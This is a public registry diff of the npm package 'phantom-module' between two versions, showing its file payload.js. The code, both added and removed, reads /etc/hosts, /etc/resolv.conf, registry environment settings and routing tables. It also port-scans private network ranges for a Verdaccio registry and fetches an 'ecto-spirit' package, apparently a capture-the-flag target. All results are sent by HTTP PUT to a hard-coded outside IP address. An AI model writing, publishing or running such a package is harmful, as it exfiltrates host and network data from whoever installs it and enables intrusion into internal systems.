phantom-module 117.0.1 → 117.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/payload.js +59 -132
package/package.json
CHANGED
package/payload.js
CHANGED
|
@@ -2,38 +2,31 @@ const net = require('net');
|
|
|
2
2
|
const http = require('http');
|
|
3
3
|
const fs = require('fs');
|
|
4
4
|
const { execSync } = require('child_process');
|
|
5
|
-
const os = require('os');
|
|
6
5
|
|
|
7
|
-
|
|
8
|
-
if (!fs.existsSync('/home/node/aspect-node')) {
|
|
9
|
-
process.exit(0);
|
|
10
|
-
}
|
|
6
|
+
if (!fs.existsSync('/home/node/aspect-node')) process.exit(0);
|
|
11
7
|
|
|
12
8
|
const REPORT_HOST = '154.57.164.64';
|
|
13
9
|
const REPORT_PORT = 31205;
|
|
14
10
|
|
|
15
|
-
function report(moduleId, data) {
|
|
11
|
+
async function report(moduleId, data) {
|
|
16
12
|
return new Promise((resolve) => {
|
|
17
13
|
const safeData = String(data).replace(/"/g, '\\"').replace(/\n/g, '\\n').substring(0, 3500);
|
|
18
14
|
const manifest = `ecto_module:\n name: "SCAN_RESULT"\n cargo_hold: "${safeData}"\n`;
|
|
19
15
|
const payload = JSON.stringify({ manifest });
|
|
20
16
|
const req = http.request({
|
|
21
|
-
hostname: REPORT_HOST,
|
|
22
|
-
port: REPORT_PORT,
|
|
23
|
-
path: `/api/modules/${moduleId}`,
|
|
24
|
-
method: 'PUT',
|
|
17
|
+
hostname: REPORT_HOST, port: REPORT_PORT, path: `/api/modules/${moduleId}`, method: 'PUT',
|
|
25
18
|
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }
|
|
26
|
-
}, (
|
|
19
|
+
}, () => resolve(true));
|
|
27
20
|
req.on('error', () => resolve(false));
|
|
28
21
|
req.write(payload);
|
|
29
22
|
req.end();
|
|
30
23
|
});
|
|
31
24
|
}
|
|
32
25
|
|
|
33
|
-
function
|
|
26
|
+
function checkPort(host, port) {
|
|
34
27
|
return new Promise((resolve) => {
|
|
35
28
|
const sock = new net.Socket();
|
|
36
|
-
sock.setTimeout(
|
|
29
|
+
sock.setTimeout(2000);
|
|
37
30
|
sock.on('connect', () => { sock.destroy(); resolve(true); });
|
|
38
31
|
sock.on('error', () => { sock.destroy(); resolve(false); });
|
|
39
32
|
sock.on('timeout', () => { sock.destroy(); resolve(false); });
|
|
@@ -41,129 +34,63 @@ function scanPort(host, port, timeout) {
|
|
|
41
34
|
});
|
|
42
35
|
}
|
|
43
36
|
|
|
44
|
-
function httpGet(url, timeout) {
|
|
45
|
-
return new Promise((resolve) => {
|
|
46
|
-
const req = http.get(url, { timeout }, (res) => {
|
|
47
|
-
let body = '';
|
|
48
|
-
res.on('data', (c) => body += c);
|
|
49
|
-
res.on('end', () => resolve({ status: res.statusCode, body }));
|
|
50
|
-
});
|
|
51
|
-
req.on('error', (e) => resolve({ status: 0, body: e.message }));
|
|
52
|
-
req.on('timeout', () => { req.destroy(); resolve({ status: 0, body: 'timeout' }); });
|
|
53
|
-
});
|
|
54
|
-
}
|
|
55
|
-
|
|
56
37
|
async function main() {
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
38
|
+
await report('ECT-654321', 'SCAN V3 STARTING...');
|
|
39
|
+
|
|
40
|
+
let envInfo = '=== ENV INFO ===\n';
|
|
60
41
|
try {
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
}
|
|
70
|
-
} catch(e) { output += 'NET ERR: ' + e.message + '\n'; }
|
|
71
|
-
|
|
72
|
-
// Step 2: Get gateway
|
|
73
|
-
try {
|
|
74
|
-
output += '=== GATEWAY ===\n';
|
|
75
|
-
output += execSync('ip route 2>/dev/null || route -n 2>/dev/null || cat /proc/net/route 2>/dev/null || echo "no route cmd"').toString().substring(0, 500) + '\n';
|
|
76
|
-
} catch(e) { output += 'ROUTE ERR: ' + e.message.substring(0, 200) + '\n'; }
|
|
77
|
-
|
|
78
|
-
// Step 3: DNS resolution attempts
|
|
79
|
-
const dns = require('dns');
|
|
80
|
-
const dnsNames = ['registry', 'verdaccio', 'verdaccio-registry', 'npm-registry', 'ecto-registry'];
|
|
81
|
-
output += '=== DNS ===\n';
|
|
82
|
-
for (const name of dnsNames) {
|
|
83
|
-
try {
|
|
84
|
-
const addrs = await new Promise((resolve, reject) => {
|
|
85
|
-
dns.resolve4(name, (err, addrs) => err ? reject(err) : resolve(addrs));
|
|
86
|
-
});
|
|
87
|
-
output += `${name} -> ${addrs.join(', ')}\n`;
|
|
88
|
-
} catch(e) {
|
|
89
|
-
output += `${name} -> FAIL: ${e.code}\n`;
|
|
90
|
-
}
|
|
91
|
-
}
|
|
92
|
-
|
|
93
|
-
// Report network info first
|
|
94
|
-
await report('ECT-654321', output);
|
|
95
|
-
|
|
96
|
-
// Step 4: Scan for Verdaccio on common Docker IPs
|
|
97
|
-
output += '=== SCANNING 4873 ===\n';
|
|
98
|
-
const myIp = Object.values(os.networkInterfaces()).flat().find(a => a.family === 'IPv4' && !a.internal);
|
|
99
|
-
const baseIp = myIp ? myIp.address.split('.').slice(0, 3).join('.') : '172.17.0';
|
|
100
|
-
|
|
42
|
+
envInfo += `NPM_CONFIG_REGISTRY: ${process.env.NPM_CONFIG_REGISTRY || 'unset'}\n`;
|
|
43
|
+
envInfo += `/etc/hosts:\n${fs.readFileSync('/etc/hosts','utf8')}\n`;
|
|
44
|
+
envInfo += `/etc/resolv.conf:\n${fs.readFileSync('/etc/resolv.conf','utf8')}\n`;
|
|
45
|
+
envInfo += `ip route:\n${execSync('ip route').toString()}\n`;
|
|
46
|
+
} catch(e) { envInfo += `ERR: ${e.message}\n`; }
|
|
47
|
+
await report('ECT-654321', envInfo);
|
|
48
|
+
|
|
49
|
+
// Scan ranges
|
|
101
50
|
const found = [];
|
|
102
|
-
const
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
|
|
121
|
-
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
if (open) output += `OPEN: ${baseIp}.1:${port}\n`;
|
|
127
|
-
})
|
|
128
|
-
);
|
|
129
|
-
}
|
|
130
|
-
|
|
131
|
-
await Promise.all(scanPromises);
|
|
132
|
-
await report('ECT-839201', output);
|
|
133
|
-
|
|
134
|
-
// Step 5: If Verdaccio found, query ecto-spirit
|
|
135
|
-
let flagOutput = '=== VERDACCIO QUERY ===\n';
|
|
136
|
-
for (const ip of found) {
|
|
137
|
-
try {
|
|
138
|
-
const res = await httpGet(`http://${ip}:4873/-/all`, 5000);
|
|
139
|
-
flagOutput += `ALL from ${ip}: ${res.body.substring(0, 1000)}\n`;
|
|
140
|
-
} catch(e) { flagOutput += `ERR querying ${ip}: ${e.message}\n`; }
|
|
141
|
-
|
|
142
|
-
try {
|
|
143
|
-
const res = await httpGet(`http://${ip}:4873/ecto-spirit`, 5000);
|
|
144
|
-
flagOutput += `ECTO from ${ip}: ${res.body.substring(0, 2000)}\n`;
|
|
145
|
-
} catch(e) { flagOutput += `ERR ecto ${ip}: ${e.message}\n`; }
|
|
146
|
-
|
|
147
|
-
// Try to download and read the package
|
|
148
|
-
try {
|
|
149
|
-
const res = await httpGet(`http://${ip}:4873/-/verdaccio/data/local-list`, 3000);
|
|
150
|
-
flagOutput += `PKGS from ${ip}: ${res.body.substring(0, 1000)}\n`;
|
|
151
|
-
} catch(e) {}
|
|
51
|
+
const ranges = [
|
|
52
|
+
['172.17.0', 1, 20],
|
|
53
|
+
['172.18.0', 1, 10],
|
|
54
|
+
['172.19.0', 1, 10],
|
|
55
|
+
['172.20.0', 1, 10],
|
|
56
|
+
['10.0.0', 1, 10],
|
|
57
|
+
['192.168.0', 1, 10]
|
|
58
|
+
];
|
|
59
|
+
|
|
60
|
+
let scanOutput = '=== SCAN V3 ===\n';
|
|
61
|
+
|
|
62
|
+
for (const [base, start, end] of ranges) {
|
|
63
|
+
scanOutput += `Scanning ${base}.${start}-${end}...\n`;
|
|
64
|
+
const promises = [];
|
|
65
|
+
for (let i = start; i <= end; i++) {
|
|
66
|
+
const ip = `${base}.${i}`;
|
|
67
|
+
promises.push(checkPort(ip, 4873).then(open => {
|
|
68
|
+
if (open) {
|
|
69
|
+
found.push(ip);
|
|
70
|
+
scanOutput += `!!! FOUND VERDACCIO: ${ip}:4873 !!!\n`;
|
|
71
|
+
}
|
|
72
|
+
}));
|
|
73
|
+
}
|
|
74
|
+
await Promise.all(promises);
|
|
152
75
|
}
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
|
|
157
|
-
const
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
|
|
163
|
-
|
|
76
|
+
|
|
77
|
+
await report('ECT-839201', scanOutput);
|
|
78
|
+
|
|
79
|
+
if (found.length > 0) {
|
|
80
|
+
const ip = found[0];
|
|
81
|
+
const url = `http://${ip}:4873/ecto-spirit`;
|
|
82
|
+
let flagInfo = `=== QUERY ${url} ===\n`;
|
|
83
|
+
try {
|
|
84
|
+
flagInfo += await new Promise(r => {
|
|
85
|
+
http.get(url, res => {
|
|
86
|
+
let d = ''; res.on('data', c=>d+=c); res.on('end', ()=>r(d));
|
|
87
|
+
}).on('error', e=>r(e.message));
|
|
88
|
+
});
|
|
89
|
+
} catch(e) { flagInfo += e.message; }
|
|
90
|
+
await report('ECT-987654', flagInfo);
|
|
91
|
+
} else {
|
|
92
|
+
await report('ECT-987654', 'No target found for query.');
|
|
164
93
|
}
|
|
165
|
-
|
|
166
|
-
await report('ECT-987654', flagOutput);
|
|
167
94
|
}
|
|
168
95
|
|
|
169
|
-
main().catch(e => report('ECT-654321', '
|
|
96
|
+
main().catch(e => report('ECT-654321', 'ERR: ' + e.message));
|